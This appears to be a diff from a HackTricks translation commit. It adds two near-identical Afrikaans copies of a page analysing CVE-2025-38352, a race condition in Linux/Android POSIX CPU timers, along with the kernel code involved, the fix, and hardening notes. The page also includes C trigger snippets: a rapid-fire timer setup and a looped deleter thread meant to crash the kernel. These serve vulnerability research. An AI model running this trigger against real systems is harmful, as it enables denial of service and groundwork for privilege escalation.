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	Translated ['src/binary-exploitation/linux-kernel-exploitation/posix-cpu
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				| @ -937,3 +937,5 @@ | ||||
| - [Post Exploitation](todo/post-exploitation.md) | ||||
| - [Investment Terms](todo/investment-terms.md) | ||||
| - [Cookies Policy](todo/cookies-policy.md) | ||||
| 
 | ||||
|   - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md) | ||||
| @ -0,0 +1,195 @@ | ||||
| # POSIX CPU Timers TOCTOU race (CVE-2025-38352) | ||||
| 
 | ||||
| {{#include ../../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| Hierdie bladsy dokumenteer 'n TOCTOU race condition in Linux/Android POSIX CPU timers wat timer-status kan korrupteer en die kernel kan laat crash, en onder sekere omstandighede na privilege escalation gelei kan word. | ||||
| 
 | ||||
| - Geaffekteerde komponent: kernel/time/posix-cpu-timers.c | ||||
| - Primitiief: expiry vs deletion race onder task exit | ||||
| - Konfigurasie-sensitief: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) | ||||
| 
 | ||||
| Kort interne oorsig (relevant vir exploitation) | ||||
| - Drie CPU-klokke dryf die boekhouding vir timers via cpu_clock_sample(): | ||||
| - CPUCLOCK_PROF: utime + stime | ||||
| - CPUCLOCK_VIRT: utime only | ||||
| - CPUCLOCK_SCHED: task_sched_runtime() | ||||
| - Timer-creation verbind 'n timer aan 'n task/pid en initialiseer die timerqueue nodes: | ||||
| ```c | ||||
| static int posix_cpu_timer_create(struct k_itimer *new_timer) { | ||||
| struct pid *pid; | ||||
| rcu_read_lock(); | ||||
| pid = pid_for_clock(new_timer->it_clock, false); | ||||
| if (!pid) { rcu_read_unlock(); return -EINVAL; } | ||||
| new_timer->kclock = &clock_posix_cpu; | ||||
| timerqueue_init(&new_timer->it.cpu.node); | ||||
| new_timer->it.cpu.pid = get_pid(pid); | ||||
| rcu_read_unlock(); | ||||
| return 0; | ||||
| } | ||||
| ``` | ||||
| - Aktivering plaas inskrywings in 'n per-base timerqueue en kan die next-expiry cache bywerk: | ||||
| ```c | ||||
| static void arm_timer(struct k_itimer *timer, struct task_struct *p) { | ||||
| struct posix_cputimer_base *base = timer_base(timer, p); | ||||
| struct cpu_timer *ctmr = &timer->it.cpu; | ||||
| u64 newexp = cpu_timer_getexpires(ctmr); | ||||
| if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; | ||||
| if (newexp < base->nextevt) base->nextevt = newexp; | ||||
| } | ||||
| ``` | ||||
| - Vinnige pad vermy duur verwerking tensy gekashe vervaltye moontlike afvuur aandui: | ||||
| ```c | ||||
| static inline bool fastpath_timer_check(struct task_struct *tsk) { | ||||
| struct posix_cputimers *pct = &tsk->posix_cputimers; | ||||
| if (!expiry_cache_is_inactive(pct)) { | ||||
| u64 samples[CPUCLOCK_MAX]; | ||||
| task_sample_cputime(tsk, samples); | ||||
| if (task_cputimers_expired(samples, pct)) | ||||
| return true; | ||||
| } | ||||
| return false; | ||||
| } | ||||
| ``` | ||||
| - Verstryking versamel verstrykte timers, merk hulle as afgevuur, skuif hulle van die tou af; werklike aflewering word uitgestel: | ||||
| ```c | ||||
| #define MAX_COLLECTED 20 | ||||
| static u64 collect_timerqueue(struct timerqueue_head *head, | ||||
| struct list_head *firing, u64 now) { | ||||
| struct timerqueue_node *next; int i = 0; | ||||
| while ((next = timerqueue_getnext(head))) { | ||||
| struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); | ||||
| u64 expires = cpu_timer_getexpires(ctmr); | ||||
| if (++i == MAX_COLLECTED || now < expires) return expires; | ||||
| ctmr->firing = 1;                           // critical state | ||||
| rcu_assign_pointer(ctmr->handling, current); | ||||
| cpu_timer_dequeue(ctmr); | ||||
| list_add_tail(&ctmr->elist, firing); | ||||
| } | ||||
| return U64_MAX; | ||||
| } | ||||
| ``` | ||||
| Twee modusse vir die hantering van verval | ||||
| - CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: die verval word uitgestel via task_work op die teiken-taak | ||||
| - CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: die verval word direk in die IRQ-konteks hanteer | ||||
| ```c | ||||
| void run_posix_cpu_timers(void) { | ||||
| struct task_struct *tsk = current; | ||||
| __run_posix_cpu_timers(tsk); | ||||
| } | ||||
| #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK | ||||
| static inline void __run_posix_cpu_timers(struct task_struct *tsk) { | ||||
| if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; | ||||
| tsk->posix_cputimers_work.scheduled = true; | ||||
| task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); | ||||
| } | ||||
| #else | ||||
| static inline void __run_posix_cpu_timers(struct task_struct *tsk) { | ||||
| lockdep_posixtimer_enter(); | ||||
| handle_posix_cpu_timers(tsk);                  // IRQ-context path | ||||
| lockdep_posixtimer_exit(); | ||||
| } | ||||
| #endif | ||||
| ``` | ||||
| In die IRQ-context path word die firing list buite die sighand verwerk. | ||||
| ```c | ||||
| static void handle_posix_cpu_timers(struct task_struct *tsk) { | ||||
| struct k_itimer *timer, *next; unsigned long flags, start; | ||||
| LIST_HEAD(firing); | ||||
| if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit | ||||
| do { | ||||
| start = READ_ONCE(jiffies); barrier(); | ||||
| check_thread_timers(tsk, &firing); | ||||
| check_process_timers(tsk, &firing); | ||||
| } while (!posix_cpu_timers_enable_work(tsk, start)); | ||||
| unlock_task_sighand(tsk, &flags);              // race window opens here | ||||
| list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { | ||||
| int cpu_firing; | ||||
| spin_lock(&timer->it_lock); | ||||
| list_del_init(&timer->it.cpu.elist); | ||||
| cpu_firing = timer->it.cpu.firing;         // read then reset | ||||
| timer->it.cpu.firing = 0; | ||||
| if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); | ||||
| rcu_assign_pointer(timer->it.cpu.handling, NULL); | ||||
| spin_unlock(&timer->it_lock); | ||||
| } | ||||
| } | ||||
| ``` | ||||
| Root cause: TOCTOU tussen IRQ-time verstryking en gelyktydige verwydering tydens task exit | ||||
| Preconditions | ||||
| - CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) | ||||
| - Die teiken taak is aan die uitstap maar nog nie volledig opgeraap nie | ||||
| - Nog 'n thread roep gelyktydig posix_cpu_timer_del() aan vir dieselfde timer | ||||
| 
 | ||||
| Sequence | ||||
| 1) update_process_times() aktiveer run_posix_cpu_timers() in IRQ context vir die uitgaande taak. | ||||
| 2) collect_timerqueue() stel ctmr->firing = 1 en skuif die timer na die tydelike firing list. | ||||
| 3) handle_posix_cpu_timers() laat die sighand los via unlock_task_sighand() om timers buite die lock te lewer. | ||||
| 4) Onmiddellik na die unlock kan die uitgaande taak opgeraap word; 'n suster-thread voer posix_cpu_timer_del() uit. | ||||
| 5) In hierdie venster kan posix_cpu_timer_del() dalk misluk om state via cpu_timer_task_rcu()/lock_task_sighand() te verkry en dus die normale in-flight guard wat timer->it.cpu.firing kontroleer oorslaan. Verwydering gaan voort asof dit nie firing is nie, wat state korrup maak terwyl verstryking hanteer word, wat tot crashes/UB lei. | ||||
| 
 | ||||
| Why TASK_WORK mode is safe by design | ||||
| - Met CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y word verstryking uitgestel na task_work; exit_task_work loop voor exit_notify, so die IRQ-time oorvleueling met opraaiproses gebeur nie. | ||||
| - Selfs dan, as die taak reeds aan die uitstap is, faal task_work_add(); gating op exit_state maak beide modi konsekwent. | ||||
| 
 | ||||
| Fix (Android common kernel) and rationale | ||||
| - Voeg 'n vroeë return by indien die current task aan die uitstap is, en gate alle verwerking: | ||||
| ```c | ||||
| // kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) | ||||
| if (tsk->exit_state) | ||||
| return; | ||||
| ``` | ||||
| - Dit verhoed dat handle_posix_cpu_timers() vir take wat op die punt staan om te verlaat betree word, en elimineer die venster waarin posix_cpu_timer_del() it.cpu.firing kon mis en met expiry-verwerking kon meeding. | ||||
| 
 | ||||
| Impak | ||||
| - Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities. | ||||
| 
 | ||||
| Triggering the bug (safe, reproducible conditions) | ||||
| Build/config | ||||
| - Verseker CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n en gebruik 'n kernel sonder die exit_state gating fix. | ||||
| 
 | ||||
| Runtime strategy | ||||
| - Rig op 'n thread wat op die punt staan om te verlaat en heg 'n CPU timer daaraan vas (per-thread or process-wide clock): | ||||
| - For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) | ||||
| - For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) | ||||
| - Stel dit in met 'n baie kort aanvanklike expiration en 'n klein interval om IRQ-path entries te maksimeer: | ||||
| ```c | ||||
| static timer_t t; | ||||
| static void setup_cpu_timer(void) { | ||||
| struct sigevent sev = {0}; | ||||
| sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race | ||||
| sev.sigev_signo = SIGUSR1; | ||||
| if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); | ||||
| struct itimerspec its = {0}; | ||||
| its.it_value.tv_nsec = 1;           // fire ASAP | ||||
| its.it_interval.tv_nsec = 1;        // re-fire | ||||
| if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); | ||||
| } | ||||
| ``` | ||||
| - Van 'n sibling thread, verwyder gelyktydig dieselfde timer terwyl die target thread afsluit: | ||||
| ```c | ||||
| void *deleter(void *arg) { | ||||
| for (;;) (void)timer_delete(t);     // hammer delete in a loop | ||||
| } | ||||
| ``` | ||||
| - Wedloop-versterkers: hoë scheduler-tiktempo, hoë CPU-lading, herhaalde thread-afsluiting/hernuwingsiklusse. Die crash manifesteer gewoonlik wanneer posix_cpu_timer_del() die afvuur nie opmerk nie weens 'n mislukte taak-opsoek/locking direk ná unlock_task_sighand(). | ||||
| 
 | ||||
| Detection and hardening | ||||
| - Mitigasie: pas die exit_state-bewaker toe; verkies om CONFIG_POSIX_CPU_TIMERS_TASK_WORK in te skakel waar moontlik. | ||||
| - Waarneembaarheid: voeg tracepoints/WARN_ONCE rondom unlock_task_sighand()/posix_cpu_timer_del(); waarsku wanneer it.cpu.firing==1 waargeneem word tesame met mislukte cpu_timer_task_rcu()/lock_task_sighand(); let op timerqueue-inkonsekwenthede rondom taak-afsluiting. | ||||
| 
 | ||||
| Audit hotspots (for reviewers) | ||||
| - update_process_times() → run_posix_cpu_timers() (IRQ) | ||||
| - __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path) | ||||
| - collect_timerqueue(): sets ctmr->firing and moves nodes | ||||
| - handle_posix_cpu_timers(): drops sighand before firing loop | ||||
| - posix_cpu_timer_del(): vertrou op it.cpu.firing om in-vlug verstryking te detecteer; hierdie kontrole word oorgeslaan wanneer taak-opsoek/lock misluk tydens exit/reap | ||||
| 
 | ||||
| Notes for exploitation research | ||||
| - Die geopenbaarde gedrag is 'n betroubare kernel crash-primitive; om dit in privilege escalation te omskep benodig tipies 'n bykomende beheerbare oorvleueling (object lifetime of write-what-where invloed) wat buite die bestek van hierdie samevatting val. Beskou enige PoC as potensieel destabilisend en voer dit slegs in emulators/VMs uit. | ||||
| 
 | ||||
| ## References | ||||
| - [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) | ||||
| - [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) | ||||
| - [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) | ||||
| 
 | ||||
| {{#include ../../../banners/hacktricks-training.md}} | ||||
| @ -0,0 +1,195 @@ | ||||
| # POSIX CPU Timers TOCTOU race (CVE-2025-38352) | ||||
| 
 | ||||
| {{#include ../../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| Hierdie bladsy dokumenteer 'n TOCTOU-wedlooptoestand in Linux/Android POSIX CPU timers wat timerstatus kan korrupteer en die kernel kan laat crash, en onder sekere omstandighede na privilege escalation gerig kan word. | ||||
| 
 | ||||
| - Geaffekteerde komponent: kernel/time/posix-cpu-timers.c | ||||
| - Primitiwiteit: verval vs verwydering wedloop tydens taak-afsluiting | ||||
| - Konfigurasie-afhanklik: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path) | ||||
| 
 | ||||
| Kort interne samevatting (relevant for exploitation) | ||||
| - Drie CPU-klokke dryf rekeninghouing vir timers via cpu_clock_sample(): | ||||
| - CPUCLOCK_PROF: utime + stime | ||||
| - CPUCLOCK_VIRT: utime only | ||||
| - CPUCLOCK_SCHED: task_sched_runtime() | ||||
| - Timer-skepping koppel 'n timer aan 'n taak/pid en initialiseer die timerqueue nodes: | ||||
| ```c | ||||
| static int posix_cpu_timer_create(struct k_itimer *new_timer) { | ||||
| struct pid *pid; | ||||
| rcu_read_lock(); | ||||
| pid = pid_for_clock(new_timer->it_clock, false); | ||||
| if (!pid) { rcu_read_unlock(); return -EINVAL; } | ||||
| new_timer->kclock = &clock_posix_cpu; | ||||
| timerqueue_init(&new_timer->it.cpu.node); | ||||
| new_timer->it.cpu.pid = get_pid(pid); | ||||
| rcu_read_unlock(); | ||||
| return 0; | ||||
| } | ||||
| ``` | ||||
| - Armering voeg items in 'n per-base timerqueue in en kan die next-expiry cache bywerk: | ||||
| ```c | ||||
| static void arm_timer(struct k_itimer *timer, struct task_struct *p) { | ||||
| struct posix_cputimer_base *base = timer_base(timer, p); | ||||
| struct cpu_timer *ctmr = &timer->it.cpu; | ||||
| u64 newexp = cpu_timer_getexpires(ctmr); | ||||
| if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return; | ||||
| if (newexp < base->nextevt) base->nextevt = newexp; | ||||
| } | ||||
| ``` | ||||
| - Vinnige pad vermy duur verwerking tensy gekasde vervaltye moontlike afgaan aandui: | ||||
| ```c | ||||
| static inline bool fastpath_timer_check(struct task_struct *tsk) { | ||||
| struct posix_cputimers *pct = &tsk->posix_cputimers; | ||||
| if (!expiry_cache_is_inactive(pct)) { | ||||
| u64 samples[CPUCLOCK_MAX]; | ||||
| task_sample_cputime(tsk, samples); | ||||
| if (task_cputimers_expired(samples, pct)) | ||||
| return true; | ||||
| } | ||||
| return false; | ||||
| } | ||||
| ``` | ||||
| - Verval versamel vervalde timers, merk hulle as afgegaan, skuif hulle van die wagry af; werklike aflewering word uitgestel: | ||||
| ```c | ||||
| #define MAX_COLLECTED 20 | ||||
| static u64 collect_timerqueue(struct timerqueue_head *head, | ||||
| struct list_head *firing, u64 now) { | ||||
| struct timerqueue_node *next; int i = 0; | ||||
| while ((next = timerqueue_getnext(head))) { | ||||
| struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node); | ||||
| u64 expires = cpu_timer_getexpires(ctmr); | ||||
| if (++i == MAX_COLLECTED || now < expires) return expires; | ||||
| ctmr->firing = 1;                           // critical state | ||||
| rcu_assign_pointer(ctmr->handling, current); | ||||
| cpu_timer_dequeue(ctmr); | ||||
| list_add_tail(&ctmr->elist, firing); | ||||
| } | ||||
| return U64_MAX; | ||||
| } | ||||
| ``` | ||||
| Twee wyses van vervalverwerking | ||||
| - CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: verval word via task_work op die teikentaak uitgestel | ||||
| - CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: verval word direk in IRQ-konteks hanteer | ||||
| ```c | ||||
| void run_posix_cpu_timers(void) { | ||||
| struct task_struct *tsk = current; | ||||
| __run_posix_cpu_timers(tsk); | ||||
| } | ||||
| #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK | ||||
| static inline void __run_posix_cpu_timers(struct task_struct *tsk) { | ||||
| if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; | ||||
| tsk->posix_cputimers_work.scheduled = true; | ||||
| task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); | ||||
| } | ||||
| #else | ||||
| static inline void __run_posix_cpu_timers(struct task_struct *tsk) { | ||||
| lockdep_posixtimer_enter(); | ||||
| handle_posix_cpu_timers(tsk);                  // IRQ-context path | ||||
| lockdep_posixtimer_exit(); | ||||
| } | ||||
| #endif | ||||
| ``` | ||||
| In die IRQ-context path, word die firing list buite sighand verwerk. | ||||
| ```c | ||||
| static void handle_posix_cpu_timers(struct task_struct *tsk) { | ||||
| struct k_itimer *timer, *next; unsigned long flags, start; | ||||
| LIST_HEAD(firing); | ||||
| if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit | ||||
| do { | ||||
| start = READ_ONCE(jiffies); barrier(); | ||||
| check_thread_timers(tsk, &firing); | ||||
| check_process_timers(tsk, &firing); | ||||
| } while (!posix_cpu_timers_enable_work(tsk, start)); | ||||
| unlock_task_sighand(tsk, &flags);              // race window opens here | ||||
| list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { | ||||
| int cpu_firing; | ||||
| spin_lock(&timer->it_lock); | ||||
| list_del_init(&timer->it.cpu.elist); | ||||
| cpu_firing = timer->it.cpu.firing;         // read then reset | ||||
| timer->it.cpu.firing = 0; | ||||
| if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); | ||||
| rcu_assign_pointer(timer->it.cpu.handling, NULL); | ||||
| spin_unlock(&timer->it_lock); | ||||
| } | ||||
| } | ||||
| ``` | ||||
| Hoof oorsaak: TOCTOU tussen IRQ-time verstryking en gesamentlike verwydering tydens taak-uitgang | ||||
| Voorwaardes | ||||
| - CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use) | ||||
| - Die teiken-taak is besig om te verlaat maar nog nie volledig gereap nie | ||||
| - 'n Ander thread roep gelyktydig posix_cpu_timer_del() aan vir dieselfde timer | ||||
| 
 | ||||
| Volgorde | ||||
| 1) update_process_times() spoor run_posix_cpu_timers() aan in IRQ-konteks vir die taak wat beëindig word. | ||||
| 2) collect_timerqueue() stel ctmr->firing = 1 en skuif die timer na die tydelike firing list. | ||||
| 3) handle_posix_cpu_timers() laat sighand val via unlock_task_sighand() om timers buite die slot af te lewer. | ||||
| 4) Onmiddellik na unlock kan die uitgaande taak gereap word; 'n ander thread voer posix_cpu_timer_del() uit. | ||||
| 5) In hierdie venster kan posix_cpu_timer_del() misluk om state te bekom via cpu_timer_task_rcu()/lock_task_sighand() en dus die normale in-flight guard wat timer->it.cpu.firing kontroleer oorslaan. Verwydering gaan voort asof dit nie firing is nie, korrupteer state terwyl verstryking hanteer word, wat tot crashes/UB lei. | ||||
| 
 | ||||
| Hoekom TASK_WORK-modus per ontwerp veilig is | ||||
| - Met CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y word verstryking uitgestel na task_work; exit_task_work loop voor exit_notify, so die IRQ-tyd oorvleueling met reaping gebeur nie. | ||||
| - Selfs dan, as die taak reeds aan die uitgang is, faal task_work_add(); deur op exit_state te kontroleer maak dit beide modi konsekwent. | ||||
| 
 | ||||
| Regstelling (Android common kernel) en motivering | ||||
| - Voeg 'n vroeë return by indien current taak aan die verlaat is, en beperk sodoende alle verwerking: | ||||
| ```c | ||||
| // kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb) | ||||
| if (tsk->exit_state) | ||||
| return; | ||||
| ``` | ||||
| - Dit voorkom dat handle_posix_cpu_timers() vir take wat uitgaan binnegegaan word, en verwyder die venster waar posix_cpu_timer_del() dit kon mis: it.cpu.firing en in 'n wedloop met verstrykingverwerking. | ||||
| 
 | ||||
| Impact | ||||
| - Kerngeheue-beskadiging van timer-strukture tydens gesamentlike verstryking/verwydering kan onmiddellike ineenstortings (DoS) veroorsaak en is 'n sterk primitief vir privilege escalation weens die moontlikhede vir arbitraire manipulering van kernel-state. | ||||
| 
 | ||||
| Triggering the bug (safe, reproducible conditions) | ||||
| Build/config | ||||
| - Maak seker CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n en gebruik 'n kernel sonder die exit_state gating fix. | ||||
| 
 | ||||
| Runtime strategy | ||||
| - Rig op 'n thread wat op die punt is om te verlaat en heg 'n CPU timer daaraan aan (per-thread or process-wide clock): | ||||
| - Vir per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...) | ||||
| - Vir process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...) | ||||
| - Armeer met 'n baie kort aanvanklike verstryking en 'n klein interval om IRQ-path entries te maksimeer: | ||||
| ```c | ||||
| static timer_t t; | ||||
| static void setup_cpu_timer(void) { | ||||
| struct sigevent sev = {0}; | ||||
| sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race | ||||
| sev.sigev_signo = SIGUSR1; | ||||
| if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create"); | ||||
| struct itimerspec its = {0}; | ||||
| its.it_value.tv_nsec = 1;           // fire ASAP | ||||
| its.it_interval.tv_nsec = 1;        // re-fire | ||||
| if (timer_settime(t, 0, &its, NULL)) perror("timer_settime"); | ||||
| } | ||||
| ``` | ||||
| - Vanaf 'n sibling thread, verwyder gelyktydig dieselfde timer terwyl die target thread afsluit: | ||||
| ```c | ||||
| void *deleter(void *arg) { | ||||
| for (;;) (void)timer_delete(t);     // hammer delete in a loop | ||||
| } | ||||
| ``` | ||||
| - Wedloopversterkers: hoë scheduler-tiktempo, CPU-lading, herhaalde thread exit/re-create siklusse. Die crash manifesteer gewoonlik wanneer posix_cpu_timer_del() versuim om firing te opmerk weens mislukte taak-opsoek/-locking direk ná unlock_task_sighand(). | ||||
| 
 | ||||
| Opsporing en verharding | ||||
| - Mitigasie: pas die exit_state-beskerming toe; verkies om CONFIG_POSIX_CPU_TIMERS_TASK_WORK te aktiveer waar dit uitvoerbaar is. | ||||
| - Waarneembaarheid: voeg tracepoints/WARN_ONCE rondom unlock_task_sighand()/posix_cpu_timer_del(); waarsku wanneer it.cpu.firing==1 saam met mislukte cpu_timer_task_rcu()/lock_task_sighand() waargeneem word; kyk vir timerqueue-ongeregeldhede rondom taak-uitgang. | ||||
| 
 | ||||
| Audit-hotspots (vir hersieners) | ||||
| - update_process_times() → run_posix_cpu_timers() (IRQ) | ||||
| - __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path) | ||||
| - collect_timerqueue(): sets ctmr->firing and moves nodes | ||||
| - handle_posix_cpu_timers(): drops sighand before firing loop | ||||
| - posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap | ||||
| 
 | ||||
| Aantekeninge vir exploitation-navorsing | ||||
| - Die openbaargemaakte gedrag is ’n betroubare kernel crash primitive; om dit in privilege escalation te omskep benodig gewoonlik ’n addisionele beheerbare oorvleueling (object lifetime of write-what-where influence) wat buite die bestek van hierdie samevatting val. Beskou enige PoC as potensieel destabiliserend en voer slegs in emulators/VMs uit. | ||||
| 
 | ||||
| ## References | ||||
| - [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/) | ||||
| - [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01) | ||||
| - [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0) | ||||
| 
 | ||||
| {{#include ../../../banners/hacktricks-training.md}} | ||||
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